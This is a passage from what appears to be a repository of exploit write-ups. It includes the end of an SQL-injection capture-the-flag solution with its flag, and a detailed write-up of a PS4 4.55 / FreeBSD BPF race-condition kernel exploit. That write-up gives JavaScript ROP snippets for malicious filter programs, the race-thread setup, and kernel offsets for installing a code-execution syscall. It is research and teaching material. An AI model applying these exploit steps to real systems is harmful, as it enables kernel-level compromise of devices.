Flag: N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,example_flag,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,sun{ju57_4n07h3r_5ql1_ch4ll},N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A,N/A
68 | ``` 69 | 70 | As you can see, there were a lot of accounts in this database, so it's a good thing we didn't try to bruteforce a certain account and went with dumping the table. 71 | 72 | Flag: 73 | 74 | ``` 75 | sun{ju57_4n07h3r_5ql1_ch4ll} 76 | ``` 77 | 78 | -------------------------------------------------------------------------------- /FreeBSD/PS4 4.55 BPF Race Condition Kernel Exploit Writeup.md: -------------------------------------------------------------------------------- 1 | **Note: While this bug is primarily interesting for exploitation on the PS4, this bug can also potentially be exploited on other unpatched platforms using FreeBSD if the attacker has read/write permissions on /dev/bpf, or if they want to escalate from root user to kernel code execution. As such, I've published it under the "FreeBSD" folder and not the "PS4" folder.** 2 | 3 | # Introduction 4 | Welcome to the kernel portion of the PS4 4.55FW full exploit chain write-up. This bug was found by qwerty, and is fairly unique in the way it's exploited, so I wanted to do a detailed write-up on how it worked. The full source of the exploit can be found [here](https://github.com/Cryptogenic/PS4-4.55-Kernel-Exploit). I've previously covered the webkit exploit implementation for userland access [here](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/WebKit/setAttributeNodeNS%20UAF%20Write-up.md). 5 | 6 | # Throwback to 4.05 7 | If you read my 4.05 kernel exploit write-up, you may have noticed that I left out how I managed to dump the kernel before obtaining code execution. I also left out the target object that was used before the `cdev` object. This target object was indeed, `bpf_d`. Because at the time this exploit involving BPF was not public and was a 0-day, I ommited it from my write-up and rewrote the exploit to use an entirely different object (this turned out to be for the better, as `cdev` turned out to be more stable anyways). 8 | 9 | BPF was a nice target object for 4.05, as not only did it contain function pointers to jumpstart code execution, but also had a method for obtaining an arbitrary read primitive which I will detail below. While it's not entirely needed, it is helpful in the way that we don't have to write dumper code later. This section is not very relevant to the 4.55 exploit, so I will keep it brief, but feel free to skip this section if you only care about 4.55. 10 | 11 | The `bpf_d` object has fields related to "slots" for storing data. Since this section is just a tidbit for an older exploit, I will only include the fields relevant to this section. 12 | 13 | [src](http://fxr.watson.org/fxr/source/net/bpfdesc.h?v=FREEBSD90#L52) 14 | ```c 15 | struct bpf_d { 16 | // ... 17 | caddr_t bd_hbuf; /* hold slot */ // Offset: 0x18 18 | // ... 19 | int bd_hlen; /* current length of hold buffer */ // Offset: 0x2C 20 | // ... 21 | int bd_bufsize; /* absolute length of buffers */ // Offset: 0x30 22 | // ... 23 | } 24 | ``` 25 | 26 | These slots are used to hold the information that gets sent back to someone who would `read()` on the bpf's file descriptor. By setting the offset at 0x18 (`bd_hbuf`) to the address of the location we want to dump, and 0x2C and 0x30 (`bd_hlen` and `bd_bufsize` respectively) to any size we choose (to dump the entire kernel, I chose 0x2800000), we can obtain an arbitrary kernel read primitive via the `read()` system call on the bpf file descriptor, and easily dump kernel memory. 27 | 28 | # FreeBSD or Sony's fault? Why not both... 29 | Interestingly, this bug is actually a FreeBSD bug and was not (at least directly) introduced by Sony code. While this is a FreeBSD bug however, it's not very useful for most systems because the /dev/bpf device driver is root-owned, and the permissions for it are set to 0600 (meaning owner has read/write privileges, and nobody else does) - though it can be used for escalating from root to kernel mode code execution. However, let’s take a look at the `make_dev()` call inside the PS4 kernel for /dev/bpf (taken from a 4.05 kernel dump). 30 | 31 | ``` 32 | seg000:FFFFFFFFA181F15B lea rdi, unk_FFFFFFFFA2D77640 33 | seg000:FFFFFFFFA181F162 lea r9, aBpf ; "bpf" 34 | seg000:FFFFFFFFA181F169 mov esi, 0 35 | seg000:FFFFFFFFA181F16E mov edx, 0 36 | seg000:FFFFFFFFA181F173 xor ecx, ecx 37 | seg000:FFFFFFFFA181F175 mov r8d, 1B6h 38 | seg000:FFFFFFFFA181F17B xor eax, eax 39 | seg000:FFFFFFFFA181F17D mov cs:qword_FFFFFFFFA34EC770, 0 40 | seg000:FFFFFFFFA181F188 call make_dev 41 | ``` 42 | 43 | We see UID 0 (the UID for the root user) getting moved into the register for the 3rd argument, which is the owner argument. However, the permissions bits are being set to 0x1B6, which in octal is 0666. This means *anyone* can open /dev/bpf with read/write privileges. I’m not sure why this is the case, qwerty speculates that perhaps bpf is used for LAN gaming. In any case, this was a poor design decision because bpf is usually considered privileged, and should not be accessible to a process that is completely untrusted, such as WebKit. On most platforms, permissions for /dev/bpf will be set to 0x180, or 0600. 44 | 45 | # Race Conditions - What are they? 46 | The class of the bug abused in this exploit is known as a "race condition". Before we get into bug specifics, it's important for the reader to understand what race conditions are and how they can be an issue (especially in something like a kernel). Often in complex software (such as a kernel), resources will be shared (or "global"). This means other threads could potentially execute code that will access some resource that could be accessed by another thread at the same point in time. What happens if one thread accesses this resource while another thread does without exclusive access? Race conditions are introduced. 47 | 48 | Race conditions are defined as possible scenarios where events happen in a sequence different than the developer intended which leads to undefined behavior. In simple, single-threaded programs, this is not an issue because execution is linear. In more complex programs where code can be running in parallel however, this becomes a real issue. To prevent these problems, atomic instructions and locking mechanisms were introduced. When one thread wants to access a critical resource, it will attempt to acquire a "lock". If another thread is already using this resource, generally the thread attempting to acquire the lock will wait until the other thread is finished with it. Each thread must release the lock to the resource after they're done with it, failure to do so could result in a deadlock. 49 | 50 | While locking mechanisms such as mutexes have been introduced, developers sometimes struggle to use them properly. For example, what if a piece of shared data gets validated and processed, but while the processing of the data is locked, the validation is not? There is a window between validation and locking where that data can change, and while the developer thinks the data has been validated, it could be substituted with something malicious after it is validated, but before it is used. Parallel programming can be difficult, especially when, as a developer, you also want to factor in the fact that you don't want to put too much code in between locking and unlocking as it can impact performance. 51 | 52 | For more on race conditions, see Microsoft's page on it [here](https://support.microsoft.com/en-us/help/317723/description-of-race-conditions-and-deadlocks) 53 | 54 | # Packet Filters - What are they? 55 | Since the bug is directly in the filter system, it is important to know the basics of what packet filters are. Filters are essentially sets of pseudo-instructions that are parsed by `bpf_filter()`. While the pseudo-instruction set is fairly minimal, it allows you to do things like perform basic arithmetic operations and copy values around inside it's buffer. Breaking down the BPF VM in it's entirety is far beyond the scope of this write-up, just know that the code produced by it is ran in **kernel** mode - this is why read/write access to `/dev/bpf` *should* be privileged. 56 | 57 | You can reference the opcodes that the BPF VM takes [here](http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L995). 58 | 59 | # Out-of-bounds Write Primitive 60 | If we take a look at the "STOREX" mnemonic's handler in `bpf_filter()`, we see the following code: 61 | 62 | [src](http://fxr.watson.org/fxr/source/net/bpf_filter.c?v=FREEBSD90#L376) 63 | ```c 64 | u_int32_t mem[BPF_MEMWORDS]; 65 | // ... 66 | case BPF_STX: 67 | mem[pc->k] = X; 68 | continue; 69 | ``` 70 | 71 | This is immediately interesting to us as exploit developers. If we can set `pc->k` to any arbitrary value, we can use this to establish an out-of-bounds write primitive on the stack. This can be extremely helpful, for instance, we can use this to corrupt the return pointer stored on the stack so when `bpf_filter()` returns we can start a ROP chain. This is perfect, because not only is it a trivial attack strategy to implement, but it is also stable as we don't have to worry about the issues that typically come with classic stack/heap smashing. 72 | 73 | Unfortunately, instructions run through a validator, so trying to set `pc->k` in a way that would be outside the boundaries of `mem` will fail the validation check. But what if malicious instructions could be substituted in post-validation? There would be a "time of check, time of use" (TOCTOU) issue present. 74 | 75 | # Race, Replace 76 | ## Setting Filters 77 | If we take a look at `bpfioctl()`, you'll notice there are various commands for managing the interface, setting buffer properties, and of course, setting up read/write filters (a list of these commands can be found on the [FreeBSD man page](https://www.freebsd.org/cgi/man.cgi?query=bpf&sektion=4&manpath=FreeBSD+7.1-RELEASE). If we pass the "BIOSETWF" command (noted by `0x8010427B` in low-level), you'll notice that `bpf_setf()` is called to set a filter on the given device. 78 | 79 | [src](http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L1151) 80 | ```c 81 | case BIOCSETF: 82 | case BIOCSETFNR: 83 | case BIOCSETWF: 84 | #ifdef COMPAT_FREEBSD32 85 | case BIOCSETF32: 86 | case BIOCSETFNR32: 87 | case BIOCSETWF32: 88 | #endif 89 | error = bpf_setf(d, (struct bpf_program *)addr, cmd); 90 | break; 91 | ``` 92 | 93 | If you look at where the instructions are copied into kernel, you'll also see that `bpf_validate()` will run immediately, meaning at this point we cannot specify a `pc->k` value that allows out-of-bounds access. 94 | 95 | [src](http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L1583) 96 | ```c 97 | // ... 98 | 99 | size = flen * sizeof(*fp->bf_insns); 100 | fcode = (struct bpf_insn *)malloc(size, M_BPF, M_WAITOK); 101 | 102 | if (copyin((caddr_t)fp->bf_insns, (caddr_t)fcode, size) == 0 && bpf_validate(fcode, (int)flen)) { 103 | // ... 104 | } 105 | 106 | // ... 107 | ``` 108 | 109 | ## Lack of Ownership 110 | We've taken a look at the code that sets a filter, now let's take a look at the code that uses a filter. The function `bpfwrite()` is called when a process calls the `write()` system call on a valid bpf device. We can see this via the following function table for bpf's backing `cdevsw`: 111 | 112 | [src](http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L183) 113 | ```c 114 | static struct cdevsw bpf_cdevsw = { 115 | .d_version = D_VERSION, 116 | .d_open = bpfopen, 117 | .d_read = bpfread, 118 | .d_write = bpfwrite, 119 | .d_ioctl = bpfioctl, 120 | .d_poll = bpfpoll, 121 | .d_name = "bpf", 122 | .d_kqfilter = bpfkqfilter, 123 | }; 124 | ``` 125 | 126 | The purpose of `bpfwrite()` is to allow the user to write packets to the interface. Any packets passed into `bpfwrite()` will pass through the write filter that is set on the interface, which is set via the IOCTL that is detailed in the "Setting Filters" sub-section. 127 | 128 | It first does some privilege checks (which are irrelevant because on the PS4, any untrusted process can successfully write to it due to everyone having R/W permissions on the device), and sets up some buffers before calling `bpf_movein()`. 129 | 130 | [src](http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L911) 131 | ```c 132 | bzero(&dst, sizeof(dst)); 133 | m = NULL; 134 | hlen = 0; 135 | error = bpf_movein(uio, (int)d->bd_bif->bif_dlt, ifp, &m, &dst, &hlen, d->bd_wfilter); 136 | if (error) { 137 | d->bd_wdcount++; 138 | return (error); 139 | } 140 | d->bd_wfcount++; 141 | ``` 142 | 143 | Let's take a look at `bpf_movein()`. 144 | 145 | [src](http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L504) 146 | ```c 147 | *mp = m; 148 | 149 | if (m->m_len < hlen) { 150 | error = EPERM; 151 | goto bad; 152 | } 153 | 154 | error = uiomove(mtod(m, u_char *), len, uio); 155 | if (error) 156 | goto bad; 157 | 158 | slen = bpf_filter(wfilter, mtod(m, u_char *), len, len); 159 | if (slen == 0) { 160 | error = EPERM; 161 | goto bad; 162 | } 163 | ``` 164 | 165 | Notice, there is absolutely no locking present in `bpf_movein()`, nor in `bpfwrite()` - the caller. Therefore, `bpf_filter()`, the function that executes a given filter program on the device, is called in an unlocked state. Additionally, `bpf_filter()` itself doesn't do any locking. No ownership is maintained or even obtained in the process of executing the write filter. What would happen if this filter was free()'d after it was validated via `bpf_setf()` when setting the filter, and was reallocated with invalid instructions while the filter is executing? :) 166 | 167 | By racing three threads (one setting a valid, non-malicious filter, one setting an invalid, malicious filter, and one trying to continously write() to bpf), there is a possible (and very exploitable) scenario where valid instructions can be replaced with invalid instructions, and we can influence `pc->k` to write out-of-bounds on the stack. 168 | 169 | ## Freeing the Filter 170 | We need a method to be able to free() the filter in another thread while it's still running to trigger a use-after-free() situation. Looking at `bpf_setf()`, notice that before allocating a new buffer for the filter instructions, it will first check if there is an old one - if there is it will destroy it. 171 | 172 | [src](http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L1523) 173 | ```c 174 | static int bpf_setf(struct bpf_d *d, struct bpf_program *fp, u_long cmd) { 175 | struct bpf_insn *fcode, *old; 176 | 177 | // ... 178 | 179 | if (cmd == BIOCSETWF) { 180 | old = d->bd_wfilter; 181 | wfilter = 1; 182 | // ... 183 | } else { 184 | wfilter = 0; 185 | old = d->bd_rfilter; 186 | // ... 187 | } 188 | 189 | // ... 190 | 191 | if (old != NULL) 192 | free((caddr_t)old, M_BPF); 193 | 194 | // ... 195 | 196 | fcode = (struct bpf_insn *)malloc(size, M_BPF, M_WAITOK); 197 | 198 | // ... 199 | 200 | if (wfilter) 201 | d->bd_wfilter = fcode; 202 | else { 203 | d->bd_rfilter = fcode; 204 | // ... 205 | if (cmd == BIOCSETF) 206 | reset_d(d); 207 | } 208 | } 209 | 210 | // ... 211 | } 212 | ``` 213 | 214 | Because `bpf_filter()` has a copy of `d->bd_wfilter`, when it is free()'d in one thread to replace the filter, the second thread will also use the same pointer (which is now free()'d) resulting in a use-after-free(). The thread attempting to set an invalid filter effectively ends up spraying the heap as a result, and will eventually get allocated into the same address. Our three threads will do the following: 215 | 216 | 1) Continously set a filter with valid instructions, passing the validation checks. 217 | 2) Continously set another filter with invalid instructions, freeing and replacing the old instructions with new ones (our malicious ones). 218 | 3) Continously write to bpf. Eventually, the "valid" filter will be corrupted with the invalid one post-validation and write() will use it resulting in memory corruption. Specially crafted instructions can be used to overwrite the return address on the stack to obtain code execution in kernel mode. 219 | 220 | # Setting a Valid Program 221 | Firstly, we need to setup a `bpf_program` object to pass to the ioctl() for setting a filter. The structure for `bpf_program` is below: 222 | 223 | [src](http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L65) 224 | ```c 225 | struct bpf_program { // Size: 0x10 226 | u_int bf_len; // 0x00 227 | struct bpf_insn *bf_insns; // 0x08 228 | }; 229 | ``` 230 | 231 | It's important to note that `bf_len` is *not* the size of the program's instructions in bytes, but rather the length. This means the value we specify for `bf_len` will be the total size of our instructions in memory divided by the size of an instruction, which is eight. 232 | 233 | [src](http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L1050) 234 | ```c 235 | struct bpf_insn { // Size: 0x08 236 | u_short code; // 0x00 237 | u_char jt; // 0x02 238 | u_char jf; // 0x03 239 | bpf_u_int32 k; // 0x04 240 | }; 241 | ``` 242 | 243 | A valid program is easy to write, we can simply write a bunch of NOP (no operation) psueod-instructions with a "return" pseudo-instruction at the end. By looking at `bpf.h`, we can determine that the opcodes we can use for a NOP and a RET are 0x00 and 0x06 respectively. 244 | 245 | [src](http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L995) 246 | ```c 247 | #define BPF_LD 0x00 // By specifying 0's for the args it effectively does nothing 248 | #define BPF_RET 0x06 249 | ``` 250 | 251 | Below is a code snippet from the exploit implemented in JS ROP chains to setup a valid BPF program in memory: 252 | ```javascript 253 | // Setup valid program 254 | var bpf_valid_prog = malloc(0x10); 255 | var bpf_valid_instructions = malloc(0x80); 256 | 257 | p.write8(bpf_valid_instructions.add32(0x00), 0x00000000); 258 | p.write8(bpf_valid_instructions.add32(0x08), 0x00000000); 259 | p.write8(bpf_valid_instructions.add32(0x10), 0x00000000); 260 | p.write8(bpf_valid_instructions.add32(0x18), 0x00000000); 261 | p.write8(bpf_valid_instructions.add32(0x20), 0x00000000); 262 | p.write8(bpf_valid_instructions.add32(0x28), 0x00000000); 263 | p.write8(bpf_valid_instructions.add32(0x30), 0x00000000); 264 | p.write8(bpf_valid_instructions.add32(0x38), 0x00000000); 265 | p.write4(bpf_valid_instructions.add32(0x40), 0x00000006); 266 | p.write4(bpf_valid_instructions.add32(0x44), 0x00000000); 267 | 268 | p.write8(bpf_valid_prog.add32(0x00), 0x00000009); 269 | p.write8(bpf_valid_prog.add32(0x08), bpf_valid_instructions); 270 | ``` 271 | 272 | # Setting an Invalid Program 273 | This program is where we want to write our malicious code that will corrupt memory on the stack when executed via `write()`. This program is almost as simple as the valid program, as it only contains 9 psuedo-instructions. We can abuse the "LDX" and "STX" instructions to write data on the stack, by first loading the value we want to load (32-bits) into the index register, then storing index register into an index of what *should* be scratch memory, however due to the instructions being invalid, it will actually write out-of-bounds and corrupt the function's return pointer. Here is an outline of the instructions we want to run in our malicious filter: 274 | 275 | ``` 276 | LDX X <- {lower 32-bits of stack pivot gadget address (pop rsp)} 277 | STX M[0x1E] <- X 278 | LDX X <- {upper 32-bits of stack pivot gadget address (pop rsp)} 279 | STX M[0x1F] <- X 280 | LDX X <- {lower 32-bits of kernel ROP chain fake stack address} 281 | STX M[0x20] <- X 282 | LDX X <- {upper 32-bits of kernel ROP chain fake stack address} 283 | STX M[0x21] <- X 284 | RET 285 | ``` 286 | 287 | Note the type of `mem` being of type `u_int32_t`, this is the reason our writes are increasing by only 1 instead of 4. Let's take a look at `mem`'s full definition: 288 | 289 | [src](http://fxr.watson.org/fxr/source/net/bpf_filter.c?v=FREEBSD90#L178) 290 | ```c 291 | #define BPF_MEMWORDS 16 292 | // ... 293 | u_int32_t mem[BPF_MEMWORDS]; 294 | ``` 295 | 296 | Notice, the buffer is only allocated for 58 bytes (16 values * 4 bytes per value) - but our instructions are accessing indexes 30, 31, 32, and 33, which are obviously way out of bounds of the buffer. Because the filter was substituted in post-validation, nothing catches this and thus an OOB write is born. 297 | 298 | Index 0x1E and 0x1F (30 and 31) is the location on the stack of the return address. By overwriting it with the address of a `pop rsp; ret;` gadget and writing the value we want to pop into the RSP register at index 0x20 and 0x21 (32 and 33), we can successfully pivot the stack to that of our fake stack for our kernel ROP chain to obtain code execution in ring0. 299 | 300 | ![](https://i.imgur.com/RmBzWK0.gif) 301 | 302 | Below is a code snippet from the exploit to setup an invalid, malicious BPF program in memory: 303 | ```javascript 304 | // Setup invalid program 305 | var entry = window.gadgets["pop rsp"]; 306 | var bpf_invalid_prog = malloc(0x10); 307 | var bpf_invalid_instructions = malloc(0x80); 308 | 309 | p.write4(bpf_invalid_instructions.add32(0x00), 0x00000001); 310 | p.write4(bpf_invalid_instructions.add32(0x04), entry.low); 311 | p.write4(bpf_invalid_instructions.add32(0x08), 0x00000003); 312 | p.write4(bpf_invalid_instructions.add32(0x0C), 0x0000001E); 313 | p.write4(bpf_invalid_instructions.add32(0x10), 0x00000001); 314 | p.write4(bpf_invalid_instructions.add32(0x14), entry.hi); 315 | p.write4(bpf_invalid_instructions.add32(0x18), 0x00000003); 316 | p.write4(bpf_invalid_instructions.add32(0x1C), 0x0000001F); 317 | p.write4(bpf_invalid_instructions.add32(0x20), 0x00000001); 318 | p.write4(bpf_invalid_instructions.add32(0x24), kchainstack.low); 319 | p.write4(bpf_invalid_instructions.add32(0x28), 0x00000003); 320 | p.write4(bpf_invalid_instructions.add32(0x2C), 0x00000020); 321 | p.write4(bpf_invalid_instructions.add32(0x30), 0x00000001); 322 | p.write4(bpf_invalid_instructions.add32(0x34), kchainstack.hi); 323 | p.write4(bpf_invalid_instructions.add32(0x38), 0x00000003); 324 | p.write4(bpf_invalid_instructions.add32(0x3C), 0x00000021); 325 | p.write4(bpf_invalid_instructions.add32(0x40), 0x00000006); 326 | p.write4(bpf_invalid_instructions.add32(0x44), 0x00000001); 327 | 328 | p.write8(bpf_invalid_prog.add32(0x00), 0x00000009); 329 | p.write8(bpf_invalid_prog.add32(0x08), bpf_invalid_instructions); 330 | ``` 331 | 332 | # Creating and Binding Devices 333 | To setup the corruption portion of the race, we need to open two instances of /dev/bpf. We will then bind them to a valid interface - the interface you bind to matters depending on how the system is connected to the network. If it is a wired (ethernet) connection, you'll want to bind to the "eth0" interface, if you're connected via wifi you'll want to bind to the "wlan0" interface. The exploit automatically determines which interface to use by performing a test. The test essentially attempts to `write()` to the given interface, if it is invalid, `write()` will fail and return -1. If this occurs after binding to the "eth0" interface, the exploit will attempt to rebind to "wlan0" and checks again. If `write()` again returns -1, the exploit bails and reports that it failed to bind the device. 334 | 335 | ```javascript 336 | // Open first device and bind 337 | var fd1 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0); // 0666 permissions, open as O_RDWR 338 | 339 | p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("eth0")); // 8020426C = BIOCSETIF 340 | 341 | if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) { 342 | p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("wlan0")); 343 | 344 | if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) { 345 | throw "Failed to bind to first /dev/bpf device!"; 346 | } 347 | } 348 | ``` 349 | 350 | The same process is then repeated for the second device. 351 | 352 | # Setting Filters in Parallel 353 | To cause memory corruption we need two threads running in parallel which continously set filters on their own devices. Eventually, the valid filter will be free()'d, reallocated, and corrupted with the invalid filter. To do this, each thread essentially does the following (pseudo-code): 354 | 355 | ```c 356 | // 0x8010427B = BIOCSETWF 357 | void threadOne() // Sets a valid program 358 | { 359 | for(;;) 360 | { 361 | ioctl(fd1, 0x8010427B, bpf_valid_program); 362 | } 363 | } 364 | 365 | void threadTwo() // Sets an invalid program 366 | { 367 | for(;;) 368 | { 369 | ioctl(fd2, 0x8010427B, bpf_invalid_program); 370 | } 371 | } 372 | ``` 373 | 374 | # Triggering Code Execution 375 | So we can corrupt the filters and substitute in our invalid instructions, but we need the filter to actually get ran to trigger code execution via the corrupted return address. Since we're setting a "write" filter, `bpfwrite()` is a perfect candidate to do this. This means we need a third thread to run that will constantly `write()` to the first bpf device. When the filter eventually gets corrupted, the next `write()` will run the invalid filter, causing the stack memory to be corrupted, and will jump to any address we specify allowing us to (fairly trivially) obtain code execution in ring0. 376 | 377 | ```c 378 | void threadThree() // Tries to trigger code execution 379 | { 380 | void *scratch = (void *)malloc(0x200); 381 | 382 | for(;;) 383 | { 384 | uint64_t n = write(fd1, scratch, 0x200); 385 | 386 | if(n == 0x200)) 387 | { 388 | break; 389 | } 390 | } 391 | } 392 | ``` 393 | 394 | # Installing a "kexec()" syscall 395 | Our ultimate goal with the kROP chain is to install a custom system call that will execute code in kernel mode. To keep things consistent with 4.05, we again will use syscall #11. The signature of the syscall will be as follows: 396 | 397 | ```c 398 | sys_kexec(void *code, void *uap); 399 | ``` 400 | 401 | Doing this is fairly trivial, we just have to add an entry into the `sysent` table. An entry in the `sysent` table follows the this structure: 402 | 403 | [src](http://fxr.watson.org/fxr/source/sys/sysent.h?v=FREEBSD90#L56) 404 | ```c 405 | struct sysent { /* system call table */ 406 | int sy_narg; /* number of arguments */ 407 | sy_call_t *sy_call; /* implementing function */ 408 | au_event_t sy_auevent; /* audit event associated with syscall */ 409 | systrace_args_func_t sy_systrace_args_func; 410 | /* optional argument conversion function. */ 411 | u_int32_t sy_entry; /* DTrace entry ID for systrace. */ 412 | u_int32_t sy_return; /* DTrace return ID for systrace. */ 413 | u_int32_t sy_flags; /* General flags for system calls. */ 414 | u_int32_t sy_thrcnt; 415 | }; 416 | ``` 417 | 418 | Our main points of interest are `sy_narg` and `sy_call`. We'll want to set `sy_narg` to 2 (one for the address to execute, the second for passing arguments). The `sy_call` member we'll want to set to a gadget that will `jmp` to the RSI register, since the address of the code to execute will be passed through RDI (remember, while the first argument is normally passed in the RDI register, in syscalls, RDI is occupied by the thread descriptor `td`). A `jmp qword ptr [rsi]` gadget does what we need, and can be found in the kernel at offset `0x13a39f`. 419 | 420 | ``` 421 | LOAD:FFFFFFFF8233A39F FF 26 jmp qword ptr [rsi] 422 | ``` 423 | 424 | In a 4.55 kernel dump, we can see the offset for the `sysent` entry for syscall 11 is `0xC2B8A0`. As you can see, the implementing function is `nosys`, so it's perfectly fine to overwrite. 425 | 426 | ``` 427 | _61000010:FFFFFFFF8322B8A0 dq 0 ; Syscall #11 428 | _61000010:FFFFFFFF8322B8A8 dq offset nosys 429 | _61000010:FFFFFFFF8322B8B0 dq 0 430 | _61000010:FFFFFFFF8322B8B8 dq 0 431 | _61000010:FFFFFFFF8322B8C0 dq 0 432 | _61000010:FFFFFFFF8322B8C8 dq 400000000h 433 | ``` 434 | 435 | By writing `2` to `0xC2B8A0`, `[kernel base + 0x13a39f]` to `0xC2B8A8`, and `100000000` to `0xC2BBC8` (we want to change the flags from `SY_THR_ABSENT` to `SY_THR_STATIC`), we can successfully insert a custom system call that will execute any code given in kernel mode! 436 | 437 | # Sony's "Patch" 438 | The section header is a lie. Sony didn't actually patch this issue, however they did know that something wonky was going on with BPF as a crash dump accidentally made it to Sony servers from a kernel panic. Via a simple stack trace, they determined that the return address of `bpfwrite()` was corrupted. Sony couldn't seem to figure out how, so they decided to just strip `bpfwrite()` out of the kernel entirely - the #SonyWay. Luckily for them, after many hours of searching, it seems there are no other useful primitives to leverage the filter corruption, so the bug is sadly dead. 439 | 440 | Pre-Patch BPF cdevsw: 441 | ``` 442 | bpf_devsw dd 17122009h ; d_version 443 | ; DATA XREF: sub_FFFFFFFFA181F140+1B↑o 444 | dd 80000000h ; d_flags 445 | dq 0FFFFFFFFA1C92250h ; d_name 446 | dq 0FFFFFFFFA181F1B0h ; d_open 447 | dq 0 ; d_fdopen 448 | dq 0FFFFFFFFA16FD1C0h ; d_close 449 | dq 0FFFFFFFFA181F290h ; d_read 450 | dq 0FFFFFFFFA181F5D0h ; d_write 451 | dq 0FFFFFFFFA181FA40h ; d_ioctl 452 | dq 0FFFFFFFFA1820B30h ; d_poll 453 | dq 0FFFFFFFFA16FF050h ; d_mmap 454 | dq 0FFFFFFFFA16FF970h ; d_strategy 455 | dq 0FFFFFFFFA16FF050h ; d_dump 456 | dq 0FFFFFFFFA1820C90h ; d_kqfilter 457 | dq 0 ; d_purge 458 | dq 0FFFFFFFFA16FF050h ; d_mmap_single 459 | dd -5E900FB0h, -1, 0 ; d_spare0 460 | dd 3 dup(0) ; d_spare1 461 | dq 0 ; d_devs 462 | dd 0 ; d_spare2 463 | dq 0 ; gianttrick 464 | dq 4EDE80000000000h ; postfree_list 465 | ``` 466 | 467 | Post-Patch BPF cdevsw: 468 | ``` 469 | bpf_devsw dd 17122009h ; d_version 470 | ; DATA XREF: sub_FFFFFFFF9725DB40+1B↑o 471 | dd 80000000h ; d_flags 472 | dq 0FFFFFFFF979538ACh ; d_name 473 | dq 0FFFFFFFF9725DBB0h ; d_open 474 | dq 0 ; d_fdopen 475 | dq 0FFFFFFFF9738D230h ; d_close 476 | dq 0FFFFFFFF9725DC90h ; d_read 477 | dq 0h ; d_write 478 | dq 0FFFFFFFF9725E050h ; d_ioctl 479 | dq 0FFFFFFFF9725F0B0h ; d_poll 480 | dq 0FFFFFFFF9738F050h ; d_mmap 481 | dq 0FFFFFFFF9738F920h ; d_strategy 482 | dq 0FFFFFFFF9738F050h ; d_dump 483 | dq 0FFFFFFFF9725F210h ; d_kqfilter 484 | dq 0 ; d_purge 485 | dq 0FFFFFFFF9738F050h ; d_mmap_single 486 | dd 9738F050h, 0FFFFFFFFh, 0; d_spare0 487 | dd 3 dup(0) ; d_spare1 488 | dq 0 ; d_devs 489 | dd 0 ; dev_spare2 490 | dq 0 ; gianttrick 491 | dq 51EDE0000000000h ; postfree_list 492 | ``` 493 | 494 | Notice the data for `d_write` is no longer a valid function pointer. 495 | 496 | # Conclusion 497 | This was a pretty cool bug to exploit and write-up. While the bug is not incredibly helpful on most other systems as it cannot be exploited from an unprivileged user, it is still valid as a method of going from root to ring0 code execution. I thought this would be a cool bug to write-up (plus I love writing them anyway) as the attack strategy is fairly unique (using a race condition to trigger an out-of-bounds write on the stack). It's also a fairly trivial exploit to implement, and the strategy of overwriting the return pointer on the stack is an easy method for learning security researchers to understand. It also highlights how while an attack strategy may be old, perhaps this one being the oldest there is - they can still be applied in modern exploitation with slight variations. 498 | 499 | # Credits 500 | [qwertyoruiopz](https://twitter.com/qwertyoruiopz) 501 | 502 | # References 503 | [Watson FreeBSD Kernel Cross Reference](http://fxr.watson.org/fxr/source/?v=FREEBSD90) 504 | 505 | [Microsoft Support : Description of race conditions and deadlocks](https://support.microsoft.com/en-us/help/317723/description-of-race-conditions-and-deadlocks) 506 | -------------------------------------------------------------------------------- /FreeBSD/PS4 5.05 BPF Double Free Kernel Exploit Writeup.md: -------------------------------------------------------------------------------- 1 | **Note: Similar to 4.55, this bug is interesting primarily for exploitation on the PS4, but it can also be used on 